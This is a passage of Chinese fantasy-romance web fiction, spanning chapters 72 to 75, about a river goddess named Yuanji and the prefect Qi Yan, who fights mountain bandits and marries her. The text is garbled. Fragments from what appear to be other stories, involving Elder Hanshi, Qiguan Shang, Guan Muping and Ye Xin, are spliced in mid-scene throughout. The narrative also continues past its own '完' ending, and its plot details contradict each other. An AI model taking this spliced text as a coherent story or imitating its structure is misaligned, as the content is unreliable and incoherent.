“自然是要剿匪的,不过事情得一步步来,今日有些话我要与你交代。”祁琰拉着元吉上了岸,周围几人都朝他们瞧过来。 他垂头理了理元吉的衣服,又将她袖摆上的灰尘掸去,这才道:“李守财请咱们去百宴楼用晚饭,我猜是城北的徐县令下的局,不过咱们还是得去,让你与李守财的夫人套个关系,你可行?” 元吉道:“你要与李守财交好?” 祁琰一边点头,一边领着她过桥,往另一边走:“我离开的这五年,吴州的官员大换血,此城距离舟山最近,涵盖两个县,每年都会被山匪抢夺,竟然还有几个富人依旧能大鱼大肉,你不觉得有问题?” “你之前也说过官匪勾结,那富商买通官府,想要逃过山匪也未尝不可。” “确实如此,不过我也没有直接证据,这些吴州的杂草,还得连根一起铲除了,第一步便是取得他们的信任。商人唯利是图,就喜欢往钱上贴,我又初来乍到挥金如土,自然会引起他们的注意。” 元吉这才想明白他昨晚豪掷一百五十两的原因:“你让我与李夫人交好又是为什么?” 祁琰噗嗤一声笑了出来,挑眉道:“我查过了,李守财非常宠妻,你若与李夫人交好,传些信息给李夫人,再由李夫人传到李守财的耳中,那咱们的事就成了一半了。” 元吉了然:“这便是你非要找个夫人的原因?” “不然呢?”祁琰伸手架在她的肩膀上,弯下腰笑眯眯地看着她:“难道你以为我贪图你的美色?” 元吉见他又不正经,立刻要推开他:“去去去,什么,什么美色不美色的!” “你也知道你并无美色可言啊。”祁琰伸手摸了摸她的头:“小河神,你可要一心为了吴州的百姓,别总想着儿女私情啊。” 一声小河神仿佛回到了十年前,元吉坐在桥上摸他的脑袋喊他小祁琰的时候。 她移开眼神,心想自己才不会顾着儿女私情,若非这人总是口无遮拦的,她也不会想东想西。 “大人,您写吗?”护卫甲突然冒了出来,手上拿着一根笔,还有红绸。 元吉愣了一下,护卫乙也凑了过来,手上拿着同样的东西,笑着看元吉:“夫人呢?要许愿吗?” 元吉皱了皱眉:“这东西哪儿来的?” 侧头朝旁边看去,石块砌成的地方长了棵许愿树,树枝上挂满了红色的绸子,写的都是些心愿祝福之类,这树大约有六百多年了,树干周围萦绕着不少灵性,这附近应当有神仙的庙宇。 元吉往前走了几步,越过大树看去,果然在后面看见了个庙宇,木制的牌匾上朱红色的字迹写了——月老庙。 元吉猛地回头看向拿着红绸认真思考到底要写什么的祁琰,声音稍大了些:“你带我来月老庙做什么?” 祁琰眉头轻皱,有些为难:“夫人先别说话,为夫在想该写哪句。” 元吉楞然:“写什么?你来求姻缘啊?” 祁琰刚落笔,元吉便凑过去看,只见红绸的上半段草书字体写着他们俩的名字,下半段则是一句:换我心,为你心。 元吉眨了眨眼睛,她没读过几本书,总觉得这不是完整的一句话,故而问:“什么意思?” 祁琰朝她瞥了一眼:“就是哥俩好的意思。” “我与你?”元吉伸手指了指二人。 祁琰笑吟吟地点头:“对啊,我与你。” 元吉扯了扯嘴角,转身白了一眼,谁要和他哥俩好啊。 “乌伯,去将人捆了等人来赎。” 乌伯山应声而出,撸起袖子就将人捆得严严实实的。并且按照传统下了整整一大瓶软经散后将人丢到围墙上挂了起来。 见状扈枭眼角一抽,这场景怎么像极了厨娘腌腊肠的动作。他按着眉心,见四下没人冷哼一声,随后悄摸上前在几人心脉处按下几道巧劲。 敢破坏尊上的计划,看他老扈不给他们点颜色瞧瞧。 而另一侧的元吉从屋顶上跳下,伸手从一堆翠色枝叶中抓出那条假装自己并不存在的雷蛇。 “小雷,好久不见。” 雷蛇:……?! 一股不祥的预感! 救命! 第 72 章 第七十二章 第七十二章 月色渐浓,夜空像是被油浸透的纸,变得半透明,点点星子坠在上头若隐若现。 寒石长老便是在这时接到消息赶来河神庙,再次回到这,看着在深夜中显得格外普通安静的河神庙,他不由得同他人诉说起当初自己深夜携众弟子于墙头吸纳天地灵气一同修行的逸事。 他长叹一声,遥感物是人非。 如今这墙头还在,跟随他的弟子却大多不在了。 再次来到河神庙,他早已做好了完全准备,生怕河神那女娃提前察觉他的踪迹,他还特意去万事堂寻了瓶兽血制成的药水涂在身上。 若是他人探查起来,只会以为他们是群无意间路过的零散小兽,不可能会起疑心。 元吉看了一眼自己已经越过河岸的手,慢慢往后退了几步,对着祁琰笑道:“我们就这样聊吧。” 祁琰回头瞥了一眼土地庙,护卫甲、乙、丙、丁四人顿时往地上跺了跺脚,清了清嗓子,几个人商量着如何拆庙比较方便,但就是没动手。 土地神蹲坐在地上眼睛在这四个魁梧高大的男人身上来回打量。 元吉吸了吸鼻子道:“你别为难土地爷,他一直在帮我,你要是欺负他我会难过的。” 祁琰微微眯起双眼:“好,不欺负他。” 四个护卫听见这句话,立刻站成一排排开,用背对着元吉和祁琰,表示非礼勿视,大人想和夫人干什么就赶紧做,不然他们按捺不住好奇心就要煞风景了。 元吉对着土地庙小声地说了句:“对不起啊,土地爷,这几个人就是这样,没有恶意的。” 土地神的声音从四面八方传来,没有准确的位置,带着些许怒意道:“这还叫没恶意?我庙都要给拆了啊!” 元吉朝祁琰看了一眼,祁琰耸了耸肩,漫不经心地回头对着土地庙说:“对不起,我只是回去没找到我家夫人,所以用了点儿非常手段,谁让她被你看起来了呢。” 元吉:“……” 土地神直接从土地庙里走出来,及膝的个子步伐非常快,一路小跑到了祁琰的跟前,抬起拐杖就直接往祁琰的脚面杵去。 祁琰:“……你这么矮?” “嗯?!”土地瞪圆了眼睛。 祁琰立刻举起双手:“别恼,玩笑话,很有神仙风范,你瞧,我脚都被你给打痛了。”说完于是伸手摸了摸自己的鞋面,上面一个坑都没有,还装腔作势地哎哟两声。 土地神:“……” 元吉抿着嘴,弄了点儿水花到祁琰的身上,祁琰这才收敛了自己精湛的演技,盘着腿坐在地上,侧过脸笑眯眯地看着土地神:“我知道,我若想娶吉吉,必须得经过你同意,于她而言你是父亲也好,是爷爷也罢,总之是亲人,那从今往后,于我而言你也一样。” 土地神伸手摸了摸胡子,有些高傲地抬起头:“嗯~这还像句人话。” 紧接着祁琰就板着一张脸,变脸比翻书还快:“不过这傻子只有我能欺负的份儿,以后还望你继续疼她,护着她,别把她关在河里守着,否则我不开心的话,就爱办些坏事。” 土地神扯了扯嘴角,又是一拐杖打在了祁琰的肩膀上,祁琰顿时皱眉伸手摸了摸肩膀,这回是挺痛的了,看来刚才那一下不过是这老头儿开的玩笑。 土地神伸手捋了捋胡子,对着祁琰道:“你啊你,真是个小无赖,日后还得严加看管才行。” 土地神这话说完,祁琰与元吉都有些奇怪,日后得严加看管这种事儿……怎么落到了土地神的身上了? 不过土地神并没有多说其他,伸手捶了捶背,伸了个懒腰道:“罢了罢了,看了这么些日子我也累了,不过元吉你给我记好了,下次再犯错就不会这么简单饶了你,知道吗?” 元吉连连点头:“知道了。” 土地神突然嗤了一声,那表情似乎是吃到了什么不干净的东西似的,眼睛上下打量着元吉和祁琰两人,别说,一个无赖一个傻子,还挺配,只是这两人日后都要在自己手下办差,日子苦矣…… 等土地神回到庙里之后,祁琰稍微弯下了点儿腰问元吉:“他走了?” 元吉点了点头。 祁琰这才伸了个懒腰哎哟一声:“小老头儿还挺难对付。” 元吉立刻皱眉:“不能这么说他,是他给我当河神的。” 祁琰眯着眼睛笑了笑:“好,夫人不许说,我日后都不说。” 元吉听见这话脸颊红了红:“你怎么一回来就与我贫嘴,舟车劳顿赶回了吴州也不休息,大半夜来找我可是有什么要事?” 祁琰认真地点了点头,挺慎重地说:“是重要。” “何事?”元吉也严肃了起来。 祁琰道:“想你了,不见睡不着。” 元吉:“……” 祁琰见元吉那一脸害羞还有点儿无语的表情,顿时笑了起来,月光下眉眼弯弯,一如元吉第一次见他时那般惊艳。 一个男人,怎么能长得这么好看,从小到大越来越让人移不开眼了。 祁琰朝元吉伸手,元吉慢慢将手放在了他的手心,然后走出了水面。 她身上的衣服都是干的,坐在河岸边的时候,那一盏灯笼被夜风吹得忽明忽灭。 元吉就在祁琰的身边,两人抬头看向远方夜空上的星星,许多星星都隐藏在了舟山之后,祁琰半垂着眼眸问她:“土地神说你闯祸了,你闯了什么祸?” 元吉提到这个就有些自豪,笑着凑到祁琰的身边小声道:“说到这事儿你还得谢谢我,本来前几日我听说你已经到了临州,但是舟山上的山匪要闹腾下山,正准备伏击山下的兵队,我扬手来了个山洪,把他们都给冲趴下了,哈哈哈……” 元吉笑了笑,见祁琰的脸色不如她想的那般轻松,非但没与她一同笑,反而皱着眉心,不开心地看着她。 元吉嘴角的笑容僵硬了几分:“怎么了?” 祁琰抿着嘴,深吸一口气张嘴想要数落,见元吉已经猜到他说不出什么好话,露出那副震惊又有点儿害怕受伤的表情,再多责怪也只能吞回肚子里。 半晌之后,才传来一句:“你怎么这么冲动。” 元吉有些委屈,奖励没得到,反而还落得个不好。 “我不是为了你吗?他们如若冲下山,杀了你留在吴州的兵队,你捉不到山匪不能建功事小,若他们去了别的地方为虎作伥事大,于情于理,我都应该拦着他们的。” 祁琰伸手摸了摸她后脑勺上的头发,低声道:“我不是这个意思,而是你这么做有没有想过你自己?” 元吉眨了眨眼睛。 祁琰叹了口气:“我一开始将你牵扯进来,不过是为了能与你有个关系,多接近你罢了,并非真想要指靠你为我在剿匪上,或者是建功上做出什么贡献。你说你即便是河神,那也不过是个姑娘,冲倒山中闹山洪,与那几千个山匪作对,倘若出了一星半点的差错,你让我回来之后如何是好?” 元吉顿了顿:“我出差错会有土地神惩罚我,你……你又有什么关系呢。” “我是想要娶你的啊。”祁琰看着她。 元吉一瞬明白过来他的意思,顿时伸手捂住了脸,一双眼睛睁得很大,瞳孔中除了灯火的光辉,还有漫天星空的繁星倒影。 “让你为我的事冒险,不值得。”祁琰说完,按在她头上的手将她脸颊边吹得有些乱的发丝整理好,双眼凝望着对方:“以后不许这样,记住了吗?” 元吉抿嘴,慢慢点头,嗯了一声。 忘记自己蒲扇打算回来取的土地神刚捡起蒲扇就看到了这一幕,手中的蒲扇顿时掉落在地上,他张了张嘴,几乎能吞下一整个鸡蛋。 这是什么意思? 爱情的力量大于天地吗? 他好言相劝也罢,威逼利诱也罢,与元吉好说歹说了其中的利害关系,她也不过是敷衍地哄了自己几句,日后该犯照样得犯。 这祁琰不过是几句花言巧语,元吉在他面前的赖皮劲儿统统化为无形,乖巧得简直是土地神从来没见过的模样。 土地神哼了一声踩在了蒲扇上,转头就走。 这丫头没法儿养了! 早点儿嫁出去得了! 祁琰见元吉答应了自己,于是轻轻地搂住了她的肩膀,元吉乖巧地靠在他的肩头,心里还有些甜蜜。 护卫甲、乙、丙、丁四人虽然是背对着的,但是对于背后发生的事情大多都能猜到,土地神回来过一次他们知道,因为地上的蒲扇显然被人踩了一脚,脚印还在那儿呢。 他们家大人怀里搂着未来夫人,两人迎着夜风在河边看星星看月亮。 护卫甲、乙、丙、丁简直不能更加佩服祁琰了,他们打从第一次见到祁琰开始就充分地体会到这个人的聪明,现在倒好,花言巧语哄得河神乖乖听话,刺激了土地神早日嫁女。 护卫甲啧了啧嘴摇头:“大人的手段真是多,拍马难及啊。” 护卫乙伸手拍了拍胳膊:“好多蚊子,怎么总咬我?” 护卫丙打了个哈欠:“什么时辰了?差不多该睡了吧?” 护卫丁的脚在地上有节奏地抖着:“我好想回头看看,他们吻了吗?吻了吗?吻了吗?吻神仙什么感觉啊?” 祁琰并没有和元吉在河边待许久,两个人大约只聊了会儿天,祁琰就要回去了。 元吉回到水中的时候,四个护卫转过来的速度堪称奇快,好像巴不得能抢点儿时间看到什么不该看到的场面。 不过什么也没有,祁琰手上提着灯,站在河岸上对元吉道:“乖乖等我来娶你。” 元吉没说话,只扬起头对他笑了笑。 祁琰转身领着四个护卫一同离开之后,护卫甲忍不住问了句:“方才属下听见了,夫人闹了山洪?于我们有大利啊,大人。” 祁琰点头:“的确,我当真没想到小河神发起火来这么厉害,看来以前都让着我呢。” 护卫乙:“以后得巴结夫人了。” 祁琰笑了笑,眉眼中闪过几分温柔,随后深吸一口气,表情严肃起来:“仍热打铁,尽早把他们给端了,我还想早些成亲呢。” 护卫甲、乙、丙、丁:“是!” “长老,您……没事吧?” 寒石在弟子搀扶下恶狠狠摸了把脸,从牙缝中艰难挤出一句,“欺人、欺人太甚!” 再次砍碎飞来的鱼虾后,寒石气得心肝都在颤抖。 居然如此瞧不起他,连面都没露,就这般羞辱! “给我、给我杀!!”他气得那剑乱砍一通,先前仙风道骨的气势不复存在。 话音未落,寒石却觉周遭空气陡然扭曲了一瞬,他猛地一顿,有些不敢置信地抬头望去。 只见半空中,数万头胖头鱼蓄势待发。一双双鱼眼睛在皎皎月色下泛着幽幽地光芒。 众人呼吸一滞,头一次在面对鱼时感受到了深深的绝望和恐惧。 居然这么多!! 河神当真恐怖如斯!! 第 73 章 第七十三章 第七十三章 河神庙内,一阵阵烤肉的香味荡漾开来,鱼虾的鲜美裹挟着果木的清香,叫人口水直流。 元吉从一开始百无聊赖地看着捕蝇草给自己表演胸口碎大鱼,渐渐就被那亓官上的手艺给吸引了过去。 元吉跨坐在篝火旁,一手撑着下巴,一边目不转睛地看着面前的烤鱼。 金黄的脆皮上流下一滴滴晶莹透露的秘制调料,顿时香味更是被激发了一般直勾勾地往人鼻子里钻去。 与燕枯的手艺不同,亓官上喜欢给烤鱼撒上一些酸甜的汁子来中和烟熏的苦味,而这一点清新的味道的加入,就像是在无垠旷海中的一抹悠然扁舟,叫人总是忍不住去追寻它的踪影。 “可还要再来些?” 祁琰话还没说完,祁夫人就一副见鬼了的表情,惊讶的眼神转而变成了担忧,连忙凑过去摸了摸祁琰的额头:“我的儿,你没烧吧?” 祁琰笑了笑:“那姓元的姑娘不是别人,正是这吴州的河神,等儿子祭苍天,拜大地,把她娶回来你就知道了。” 祁夫人见祁琰笑得那么有把握,再看向他身后的两名护卫也一点儿也不觉得他说的有问题的样子,顿时脑子一晕,靠在了身后的两名丫鬟怀里。 “夫人!” 祁夫人挥了挥手绢:“请……大夫。” 大夫这是第二趟跑祁府了,临走的时候还笑着说:“你们祁家的老爷夫人真是奇了,祁少爷要娶亲,一个个都高兴晕过去了,这放话出去恐怕得让街坊笑上许多日。” 祁夫人的身体没有大碍,只是与祁老爷一样受了点儿刺激,两人躺在床上乖乖地服用大夫给的药,两三日便能好转过来了。 舟山上的山匪并不难解决,不过短短的七日功夫就悉数捉尽了,护卫甲与护卫乙回来的时候还笑着说,他们捉到夏将军时,夏将军正蹲在一棵树下啃树皮,看见冲上来的兵队吓得要跑,结果腿软没跑掉,陷在了软泥里,那样子别提多蠢。 祁琰听到这话也是笑笑,对着护卫甲道:“在姓夏的恶行上多加一笔,二十多年前买卖三皇子之时,他杀了一个无辜的少女。” 祁琰很想给元吉报仇,甚至想把夏将军直接拉到元吉面前让她自己去了断这个人。 不过他后来又想了想,他们马上就要大婚,杀戮这种事情不宜做,且善恶终有报,再让元吉见到他,想起自己死时的不愉快也并非他所愿,总归这夏将军的人头是跑不掉的,那便在罪行簿上,记录他一笔。 剿匪之事算是彻底解决,跟着祁琰一同入吴州的兵队几乎没怎么动手就将几千人的山匪给全都捉获了。 临走前兵队将领还对着祁琰说自己此番来打得真是不过瘾,祁琰只能在他临行前送上五百坛好酒,让他的弟兄们好好喝个够。 那将领问祁琰:“祁大人怎么送起酒来了,是有什么好事将近吗?” 祁琰笑了笑道:“要成亲啦。” “哦?!我在京中可是听过你不少事迹,达官贵人的女儿纷纷想要嫁给你,你当时看也不看一眼,这回是哪家姑娘如此有幸?” 祁琰指着门外的城中河道:“吴州河神。” “……”将领尴尬地笑了笑:“祁大人真是幽默啊!” 一行几千人的兵队全都离开了吴州,又带着几千人的山匪,浩浩荡荡离开吴州时,大地都跟着颤抖了几分。 山匪剿灭,吴州的百姓都要好好感谢祁琰,也有人给祁琰送了不少礼物,祁少爷不收,百姓继续送,祁少爷只好说他不缺,百姓问你缺什么呢?祁少爷指着自己金雕玉砌的知府府衙道:“再没有比我这处更亮堂的知府府衙了。” 没收百姓的礼,祁琰还落得个清官的名声。 不过清官祁少爷要娶亲这件事,经过祁夫人的嘴,祁夫人丫鬟的嘴,祁家厨娘的嘴七七八八地传到了吴州的各个大街小巷,众人对这神秘的未来祁少夫人甚是好奇。 土地神说,娶亲择好日子,而七月初九是好日子,那一天是阴天,土地神说朗朗晴空之下不可娶神仙,看到的仙家多了,成功的几率也就少了。 祁少爷不懂他们的规矩,不过还是老老实实在昏暗的天色下骑着马,抬着厚重的‘聘礼’带领着自己的下人一路到了城外的护城河边。 来看热闹的百姓有不少,祁老爷与祁夫人就站在祁琰的身后两侧,手心冒汗,还有些哆哆嗦嗦。 土地神化作虚影,杵着个拐杖站在了祁琰的面前,伸手摸了摸胡子,有些不情愿,但是还是不得不说:“要记得,只需叩三下,一拜天地,乌云散便算成,二拜厚土,就是我本人啦,吴州土地神,三为请神,只要元吉那丫头愿意从水里出来便成。” 祁琰挑眉:“我还得拜她呢?” “你想呢?!她是神仙!”土地神理所当然。 祁琰笑了笑,点头:“也成。” 知道了礼仪,祁琰便在祁夫人特地安排好的三层软垫上跪了下去,一叩上苍。 人群中好些个看热闹的,其中不乏嘴碎之人,指着天空道:“这乌云密布马上得下雨啊,我见黄历也不是什么好日子,这种天能成亲吗?” 另一人道:“你知道什么?这祁大人要娶河神为亲!” 旁边的人低声笑了笑:“他虽给吴州解决了大患,但是脑子应当还是好的吧?咱们平日烧烧香也就罢了,这世间哪儿有神仙啊?” “就是,迷信!” 几句碎言碎语,天空在祁琰叩头抬首之后,顿时刮起了一阵风,原本乌云密布的上苍云层从中间吹开了些,并不多,刚好有阳光够照到了一片大地上来,撒在了祁家的几人身上。 众人顿时闭上了嘴巴,心想这可不得了,这怕是真有神仙咯! 祁琰见上苍开了个口,于是问土地神:“如此便好了?” 土地神皱眉,确实没想到祁琰竟然这么容易就得到了许可,于是点了点头,几步走到了他的跟前,对着他道:“吴州最老的土地庙就在环城河边,石头庙便是了,你对着那个方向,给我恭恭敬敬地磕个头。” 祁琰笑了笑:“有何不可呢?” 土地神本想挑他的毛病,却没想到他倒是没有任何傲慢清高的姿态,反而真的虔诚地跪拜了下去,土地神一时不知道如何是好,只能摸了摸胡子道:“好了好了,起来吧。” 祁琰抬首的时候,眉眼尽是笑意,开口道:“多谢你将元吉照顾得这么好。” 土地神哼了一声,指着环城河道:“三拜她,放心你不吃亏,她在水里也得拜,等拜完了之后你们早些离去。” “你不去我府上吃酒?”祁琰问。 土地神道:“还有些事,晚些再去。” 祁琰对着环城河的方向弯腰叩拜了一下,慢慢起身,在河水中央,穿着祁夫人亲自挑选的凤冠霞帔的女子浮在水面上而不沾湿衣袍。 跟随过来的百姓纷纷大喊:“神仙啊!” 第一排先是跪了下来,后面一排排也跟着跪。 祁琰看着那头上戴着红盖头的纤瘦身影,扶着祭台慢慢站了起来。 祁琰站起来了,祁夫人与祁老爷又受不了,没想到自己的儿子当真娶了个神仙,双眼一番,再度晕了过去。 “阿甲、阿乙。”祁琰开口。 “属下在!” “把老爷和夫人抬到后面准备的软轿中先送回去。” “是!” “阿丙、阿丁。” “属下在!” “上次来过的大夫就在人群第一排,让他跟着赶紧治疗,你们把人群给我撤开,我得回城成亲去了。” “是!” 布置祭台的管家哆哆嗦嗦地问祁琰:“我……我能做什么啊?少爷?” 祁琰瞥了他一眼:“你什么都不用做,站着就行。” 管家指着还在河面上的元吉:“那少夫人怎么办?” 祁琰提着衣摆,慢慢朝元吉走过去,嘴角带着笑意:“少夫人本少爷亲自去扶回来。” 元吉隔着红盖头,看见了外面乱成了一团,还以为自己这回成不了亲了,眼看就要哭出来,心里慌得难受。 就在她差点儿要掀开盖头的时候,祁琰朝她慢慢走过来。 他一身红喜服,走到河边的时候对着元吉招了招手,元吉牵着裙摆站起来,慢慢朝祁琰走过去。 她将自己的手放在对方的手心,小声的问了句:“发生何事了?” “我爹娘晕了。” “啊?!” 祁琰笑了笑:“没事儿,有大夫在。” “哦。” 祁琰突然停下脚步,将元吉稍微有些歪了的红盖头整理好,纤长的手指在离开红盖头的时候,轻轻滴划过了元吉的嘴唇。 分明看不太清,不知道为何,元吉此刻却能认出对方的眼神,她的心跳骤然加快,双手握在袖中,这眼神她看过许多次,直至今日才知道其中的意思。 元吉低声问了他一句:“你是不是想吻我?” 祁琰眉眼弯弯:“想。” 元吉垂下了点儿头,随后听见他道:“所以,咱们快些回去吧,夫人。” 一声夫人与往常的每一次喊都不同,元吉看着祁琰的手,慢慢牵了过去,算是回应他这声。 完。 穿红衣的老头儿匆匆赶到河边,看着河边人都走空了,就一个祭台,还有一个被祁琰说你站着就行的祁家管家,顿时拍着自己的大腿。 他低头便喊:“土地!” 土地神手中握着鸡腿吃得正欢,口齿不清地问:“何事?” “为何不提前叫我来?我是不是错过了他要拜大地?我是媒人!要收礼的!” 土地神摸了摸胡子:“你姻缘簿上写错了时间,还想收礼呐?” 月老有些不乐意:“反正这两人早晚要成亲,早成亲,晚成亲,有何关系?” 土地神扔掉了手中的鸡骨头:“那也得等祁家那小子这世死了,来世当我吴州山神才行啊!你说我因为你写错时间,给他们俩兜了多少麻烦了?” 月老哑口无言。 土地神砸了砸嘴:“行了,时辰差不多,我得去吃喜酒了。” 月老提着红衣摆:“我也去。” “不许你去!” “我就去!” 两人一高瘦,一矮胖,骂咧咧一路。 尚且站在祭台边的管家伸手擦了擦额头上的汗水,好热啊,他何时能回家? 事后有人传,吴州的知府是个了不得的人物,竟然能娶河神为妻,当时许多百姓都看到了,水面上有个穿喜服的曼妙少女,就连上天都给知府开云拨雾了。 而后亦有人传,那吴州的知府本不是什么简单的人物,据说有人见到土地与月老了,那祁少爷命带仙缘,来世要做吴州的山神,与河神本就是一对哩! 传来传去,各种说法都有,总之各信各的,但都是好结局,也算是吴州的一段佳话。 “咦。”元吉正想着将人一起捆起来,却发现这一团团乌漆嘛黑的玩意倒是个老熟人,“寒石?” 寒石长老悲愤抬头,正欲骂,却见元吉身后徐徐站定一男子。 那人身材颀长,面容昳丽,衣着暴露,一看便是个善于魅惑的。 一时间,他悲愤交加。 “元吉!” “祁琰尸骨未寒,你居然另养面首!” 元吉一怔:…… 啊? 第 74 章 第七十四章 第七十四章 “元吉,你这个薄情寡义……噗……” 话音未落,一道巨大的威压将其压倒在地,本就受了重伤的身体承受不住,寒石重重跌在地上,口吐鲜血。 元吉蹲下身垂眼瞧着他,伸出一指抵在唇间,冷声:“嘘,安静些。” “你知道的,我不喜聒噪。”元吉佯装出好心劝说的模样来,“寒石长老咱们许久未见,还是不要说些题外话了。” 寒石瞳孔骤然一缩,他没想到祁琰在这河神的心中竟然只是题外话。 “你……你……我与你这妖女有何好谈。” 大约第四日,两千余人便浩浩荡荡地入了城中,这期间祁琰已经差人将空置的宅子整理干净,以便兵队住进去。 鹿蜂寨早就派人在山下面守着了,为了确保入城之人的数量,他们焦急等待了多时,细细算下来,大约有两千五百人左右,单是人数就与鹿蜂寨持平,若当真蛮干起来,鹿蜂寨讨不了好处。 得知这个消息的鹿蜂寨当家的一直都忐忑不安,内地里与兄弟几个一直商讨如何对付朝廷之事,甚至有人提起让他们与舟山南侧的那个匪窝联合一起。 见到大队兵力,鹿蜂寨还未开始抵抗,便有些自乱阵脚了。 陈县令将兵队的住处安排好,并没有得到知府的赏识,陈县令为此还郁闷了好些日子。 不过兵队住进来,知府似乎没有立刻剿匪的意思,反而是让兵队在城中修整。 要知道这多待一天就是一分钱,兵队一连在城中待了三日也没有要出兵的打算,陈县令正是摸不着头脑。 各个士兵虽然有住的地方,但是两千余人两千张嘴,每日要吃的东西就不少,幸好陈县令与季老板还有贾有亮都有些交情,他们有米铺可以提供米粮,但是长久下去不是办法,且这两人已经有些许不满了。 陈县令虽然很不愿意拖,但在另一方面却是相当庆幸剿匪没有这么快的,若对付的只有鹿蜂寨,他立刻便与知府站在一条线上,可若是牵扯到舟山南侧的那群山匪,陈县令现在想起来便觉得冷汗直流。 送往京城的文书也不知多少日了,偏偏上头没一个回信过来,他当如何做全然不知,能办的,只有拖了。 几日之后,陈县令得到了一个消息,知府养了几天的兵,终于决定剿匪了。 祁琰基本将陈县令捏得死死的,半分没有喘气的机会。 护卫甲还有些不懂他这么做的意思,祁琰端起茶杯浅浅地喝了一口道:“他身为县令,手中又拿着朝廷剿匪的银钱,自然得帮朝廷办事。我将兵队闲置了几日他都不为所动,可见心中根本不想剿匪,这个城中的两个县令,没一个是好东西。” 剿匪的兵是出动了,几千人整装待发地在舟山山脚下汇合,陈县令特地过去了,但是没瞧见知府,不过瞧见了知府府中能说得上话的人在那儿指挥剿匪的计划。 祁琰剿匪不往鹿蜂寨去,他先留着一批兵在鹿蜂寨的山脚下候着,又分了一批出去,专门挑那些小匪窝。 之前元吉给他打探过地形,想要做到出其不意并非难事。 山匪大多都仗着自己在舟山上比较隐秘,以为不作为便没问题,谁料到一日之间,三个匪窝先后被剿,山匪死了七人,俘虏了两百余人。 除了守在鹿蜂寨山脚下的那批兵队,其余人都回来了,压着两百余人的山匪招摇过市的时候,陈县令都看在眼里,心中有些慌张。 晚间便让人带个口信给舟山南侧的那人,不论如何,切记不可暴露自己,定要沉得住气。 祁琰剿匪几日颇有成效,虽然一直都没有对鹿蜂寨出手,但守在鹿蜂寨山脚下的兵队从来就没撤离过,边边角角一些小山匪群基本被他给扫荡干净了。 有元吉帮忙,那些人根本逃不出舟山。祁琰的方法很简单,以最大的兵力剿灭小山匪,再以最少兵力守住鹿蜂寨。 鹿蜂寨中两千余人,每人每日吃喝多少米粮,他这几天参照自己的兵队也都悟出来了,元吉说他们有粮仓,粮仓中的粮食仅够他们吃半个月,届时便是祁琰出手的大好时机。 等鹿蜂寨的人粮食耗尽的这几天,祁琰都没怎么与元吉说过话。即便是见到对方,也就瞥开眼神跟不认识似的。 两人分明就住在隔壁,偶尔去李守财那儿吃顿饭维系感情,礼貌性地装个恩爱夫妻之后,祁琰又恢复到那个死样子。 元吉憋得有些难受,只能带着小孩儿准备出门消遣去。 护卫丁一直跟着元吉,三人走到集市中心,元吉带着小孩儿在路边一个摊位上坐着,准备吃点儿东西。 护卫丁就在后面一直像憋着什么东西一样,抿着嘴,皱着眉,难受的要死。 小孩儿一边吃着糖画儿一边吃着馄饨,根本没心思管大人的世界,而元吉则舀了一勺馄饨,别扭地看向护卫丁的那张脸。 “你这样子像要出恭,我都吃不下了。”元吉白了他一眼:“有话就直说吧。” 护卫丁得了吩咐,立刻呼出一口气,扭扭捏捏地问:“夫人你就别和大人置气了。” 元吉眨了眨眼睛,放下勺子:“我与他置气?分明是他与我置气啊,你瞧见他这几天这脸了没?黑得跟碳一样。” 护卫丁回想了一下这两天祁琰的脸色,忍不住点头:“是,是有些难看,不过……这些都出于大人在意夫人嘛,我和阿甲他们都希望夫人能和大人恩恩爱爱,好几日不说话,我们也难受。” 元吉楞了一下:“与你有何关系啊?操那么多心。” “……”护卫丁没开口,他其实没好意思说,以他们家大人那性子,在元吉这儿的不痛快,定然会加倍施加在他们这些做属下的人身上。 唉,昨天阿丙和大人下棋的时候,就被大人说了不下二十句蠢。 等小孩儿吃完了,元吉便要带着小孩儿回去,才刚转身没走两步,便看见人群中有一个人分外眼熟。 她微微眯起双眼,仔细看了一眼那人的背影。 穿着粗衣麻布,脚下是一双草鞋,头发有些乱,腰间一把大刀,背对着他们往远处走。 小孩儿也瞧见了那个大汉,突然哇得一声哭了出来,元吉顿时想起来这人是谁,立刻道:“阿丁,快抓住那个人!那人是人贩子!” 护卫丁朝元吉指着的方向看去,立刻便追了过去。 街上瞧见有人在追,其中一个身上还挂着刀便立刻惊叫着让开了一条路,这更加方便那个大汉逃脱。 元吉直接将小孩儿抱起要回客栈,一路上哄着小孩儿让他别哭。 元吉脚下走得快,好在她方才离客栈并不远,小跑没多久便到了。 刚好从楼上下来的祁琰看见这一幕,立刻朝元吉跑过去,一把将小孩儿从她身上提起来随便丢给了护卫甲,而后扶着元吉起身。 “慢些,怎么搞的?路也不会看了?!”他的声音有些大,吓得元吉眨了下眼睛。 周围几人都朝祁琰瞧去,掌柜的心里还纳闷呢,平日里彬彬有礼最宠夫人的元老板怎么突然间变得这么凶了。 见元吉被吓到了,祁琰这才放低了声音:“摔伤了没?” 元吉顿了顿,伸手揉了揉自己的屁股,压低了声音道:“我是河神,没事儿。” 祁琰抿嘴,将扶着她的手抽回来,背在身后,往后退了一步,扭过头就走了。 元吉眨了眨眼睛:“……” 元吉起身,脸上的神情也多了几分严肃,“你是说,关牧平的娘亲,关柔。” 亓官上元吉身侧坐下,从怀中取出一方帕子来。他伸手将那帕子缓缓打开,青翠的帕子上赫然躺着一只木头雕成的小雀。 与关牧平略显粗糙的机关鸟不同,流畅干脆的线条雕刻无一不显示着雕刻这只小雀的人的技术娴熟。 而这只小雀上甚至还残留着树木天然清香,是最近刚雕刻完成。 “而前几日,叶新他收到这只小雀传信,让他在天极宫寻一件东西。” “所以,关柔,她还活着。” 第 75 章 第七十五章 第七十五章 “几年前,我还未入天极宗同母亲生活在深山里时曾见过她一面。”叶新重新换了身衣裳坐在院中讲有关关柔的故事,周围一圈人皆是格外好奇眼巴巴地等着。 “她怎么样?有没有受伤?”关牧平急匆匆地抓着叶新的手,期待他快将娘亲的事全全告诉自己,乍一听到有关关柔的事还是激动得眼底湿润。 叶新注意到问这话的男孩,与那关柔长得极像,又想起先前那盘旋在空中一举拿下他们的机关鸟,顿时明白这人定是恩人的孩子。 一时间他也不藏着掖着,将一切都告诉给元吉。 那时的叶新还不能很好的将自己的兽耳藏起来,整日带着个布兜子将脑袋绑得紧紧的,生怕自己露出半点破绽招来杀身之祸。 “那日我从集市上买了一袋米准备回家,谁知突然有一暴动的妖兽出现在了集市上引来了许多仙者。” 桃园中,李夫人摘了一朵桃花别在了元吉的发上,笑眯眯地看着她,倒是很温婉:“真好看。” 元吉还没来得及说话,李夫人先张口了:“对了,上次都没来得及问,妹妹家做的是什么生意?出门都有马匹护卫跟着,好威风。” 